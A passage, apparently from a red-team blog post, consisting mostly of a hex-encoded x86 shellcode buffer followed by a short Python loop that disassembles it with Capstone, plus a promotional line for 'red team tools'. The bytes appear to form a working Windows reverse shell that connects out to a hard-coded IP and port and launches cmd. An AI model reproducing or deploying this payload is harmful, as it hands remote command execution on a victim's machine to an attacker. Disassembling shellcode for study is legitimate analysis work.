shellcode += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
shellcode += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
shellcode += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00"
shellcode += "\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f"
shellcode += "\xdf\xe0\xff\xd5\x97\x6a\x05\x68\xc0\xa8\x74\x80\x68"
shellcode += "\x02\x00\x1f\x90\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5"
shellcode += "\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec"
shellcode += "\x68\xf0\xb5\xa2\x56\xff\xd5\x68\x63\x6d\x64\x00\x89"
shellcode += "\xe3\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66"
shellcode += "\xc7\x44\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44"
shellcode += "\x54\x50\x56\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x68"
shellcode += "\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30"
shellcode += "\x68\x08\x87\x1d\x60\xff\xd5\xbb\xaa\xc5\xe2\x5d\x68"
shellcode += "\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0"
shellcode += "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5"
md = Cs(CS_ARCH_X86, CS_MODE_32)
for i in md.disasm(shellcode, 0x00):
    print("0x%x:\t%s\t%s" %(i.address, i.mnemonic, i.op_str))

More fun red team tools, skills, please pay attention to the official account Gamma laboratory.

Keywords: network security

Added by jhuedder on Sat, 05 Mar 2022 08:59:22 +0200